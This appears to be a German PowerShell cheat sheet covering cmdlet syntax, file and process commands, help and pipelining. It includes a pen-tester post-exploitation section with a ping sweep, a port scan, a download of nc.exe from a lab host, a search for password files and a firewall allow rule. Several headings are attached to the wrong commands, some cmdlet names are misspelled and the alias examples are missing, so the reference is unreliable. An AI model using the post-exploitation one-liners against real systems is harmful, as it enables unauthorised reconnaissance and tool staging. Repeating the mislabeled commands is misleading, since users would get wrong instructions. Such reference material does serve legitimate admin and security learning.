PowerShell Cheatsheet – wichtige Befehle zusammengefasst

Der Zweck dieses Spickzettels besteht darin, einige gängige Optionen und Techniken zur Verwendung in Microsofts PowerShell zu beschreiben.

PowerShell-Übersicht

PowerShell-Hintergrund

PowerShell ist der Nachfolger von command.com, cmd.exe und cscript. Ursprünglich als separater Download veröffentlicht, ist es jetzt in alle modernen Versionen von Microsoft Windows integriert. Die PowerShell-Syntax hat die Form von in Cmdlets implementierten Verb-SubstantivMustern.

Starten von PowerShell

Auf PowerShell greifen Sie zu, indem Sie Start drücken -> powershell eingeben und die Eingabetaste drücken. Einige Vorgänge erfordern Administratorrechte und können durch Starten von PowerShell als Sitzung mit erhöhten Rechten ausgeführt werden. Sie können eine erhöhte
PowerShell starten, indem Sie auf Start drücken – > powershell eingeben und Umschalt-STRG und Enter drücken.
Darüber hinaus können PowerShell-Cmdlets von cmd.exe aufgerufen werden, indem Sie Folgendes eingeben: powershell -c “BEFEHL”.

Syntax

Cmdlets sind kleine Skripts, die einer durch
Bindestriche getrennten Verb-Substantiv-Konvention
folgen, z. B. „Get-Process

Ähnliche Verben mit unterschiedlichen Aktionen:

  • New- Erstellt eine neue Ressource
  • Set- Ändert eine vorhandene Ressource
  • Get- Ruft eine vorhandene Ressource ab
  • Read-  Ruft Informationen aus einer Quelle ab, z.B aus Dateien
  • Find- Wird verwendet, um nach einem Objekt zu suchen
  • Search- Wird verwendet, um einen Verweis  zu einer Ressource zu erstellen
  • Start- (asynchron) eine Operation beginnen, wie das Starten eines Prozesses
  • Invoke- (synchron) Ausführen einer Handlung, z. B. Ausführen eines Befehls

Parameter:

Eine Verb-Substantiv kombination kann viele Parameter haben, um die Cmdlet-Funktionalität zu steuern.

Objekte:

Die Ausgabe der meisten Cmdlets sind Objekte, die an andere Cmdlets übergeben und weiter verarbeitet werden können. Dies wird beim Pipelining | von Cmdlets wichtig.

Nützliche Cmdlets (und Aliase)

Holen Sie sich eine Verzeichnisliste (ls, dir, gci):
Get-ChildItem
Kopieren Sie eine Datei (cp, copy, cpi):
Copy-Item src.txt dst.txt
Verschieben einer Datei (mv, move,mi):
Select-String –path c:\users\*.txt –pattern password
ls -r c:\users -file | %{Select-String -path $_ -pattern password}

Suchen Sie Text in einer Datei:

Get-Content file.txt

Dateiinhalt anzeigen (cat, type, gc):

Get-Content file.txt

Aktuelles Verzeichnis abrufen (pwd, gl):

Get-Location

Holen Sie sich eine Prozessliste (ps, gps):

Get-Process

Holen Sie sich eine Serviceliste:

Get-Service

Ausgabe eines Befehls formatieren (Format-List): ‘

ls | Format-List –property name

Ausgabe Schittweise auflisten:

ls –r | Out-Host -paging

Rufen Sie den SHA1-Hash einer Datei ab:

Get-FileHash -Algorithm SHA1 file.txt

Ausgabe in CSV exportieren:

Get-Process | Export-Csv prozesse.csv

PowerShell für Pen-Tester-Post-Exploitation

Führen Sie einen Ping-Netz  durch:

1..255 | % {echo "192.168.210.$_";ping -n 1 -w 100 192.168.210.$_ | SelectString ttl}

Führen Sie einen Port Scan durch:

1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.210.10",$_)) "Port $_ is open!"} 2>$null

Rufen Sie eine Datei über HTTP (wget in PowerShell) ab:

(New-Object System.Net.WebClient).DownloadFile("http://192.168.210.10/nc.exe","nc.exe")

Alle Dateien mit einem bestimmten Namen finden:

Get-ChildItem "C:\Users\" -recurse -include *Passwörter*.txt

Erhalten Sie eine Liste aller installierten Microsoft Hotfixes:

Get-HotFix

Navigieren Sie in der Windows-Registrierung:

cd HKLM:\
ls

Programme auflisten, die automatisch in der Registrierung gestartet werden sollen:

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run

Zeichenfolge von ASCII in Base64

[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("ITNEXTGEN"))

Listen Sie die Windows-Firewallregeln auf und ändern Sie sie:

Get-NetFirewallRule –all
New-NetFirewallRule -Action Allow -DisplayName TESTPROGRAM -RemoteAddress 192.168.210.10

Cmdlets finden

So erhalten Sie eine Liste aller verfügbaren Cmdlets:

Get-Command

unterstützt das Filtern. So filtern Sie Cmdlets nach dem Verbsatz:

Get-Command Set* 
Get-Command –Verb Set

Oder auf dem Substantivprozess:

Get-Command *Process
Get-Command –Noun process

Hilfe bekommen

So erhalten Sie Hilfe mit Hilfe:

Get-Help

So lesen Sie die Cmdlet-Selbstdokumentation:

Get-Help < cmdlet >

Ausführliche Hilfe:

Get-Help < cmdlet > -detailed

Anwendungsbeispiele:

Get-Help < cmdlet > -examples

komplette Hilfe:

Get-Help < cmdlet > -full

Online-Hilfe (sofern vorhanden):

Get-Help < cmdlet > -online

Cmdlet-Aliase

Aliase bieten kurze Verweise auf lange Befehle.

So listen Sie verfügbare Aliase auf (alias alias):

So erweitern Sie einen Alias zu einem vollständigen Namen:

Effiziente PowerShell

Tab-Vervollständigung:

get-child < cmdlet >
Get-ChildItem

Parameterkürzung:

ls –recurse
ls -r

Pipelining, Schleifen und Variablen

Weiterleitung der Cmdlet-Ausgabe an ein anderes Cmdlet:

Get-Process | Format-List –property name

ForEach-Objekt in der Pipeline (Alias %):

ls *.txt | ForEach-Object {cat $_}

Where-Object-Bedingung (alias where oder ?):

Get-Process | Where-Object {$_.name –eq "notepad"}

Zahlenbereiche erzeugen und Schleifen:

1..10
1..10 | % {echo "Hallo!"}

Variablen erstellen und auflisten:

$ING = 2022
ls variable:

Beispiele für das Weiterleiten der Cmdlet-Ausgabe in die Pipeline:

dir | group extension | sort
Get-Service dhcp | StopService -PassThru | Set-Service -StartupType Disabled

Leave a Reply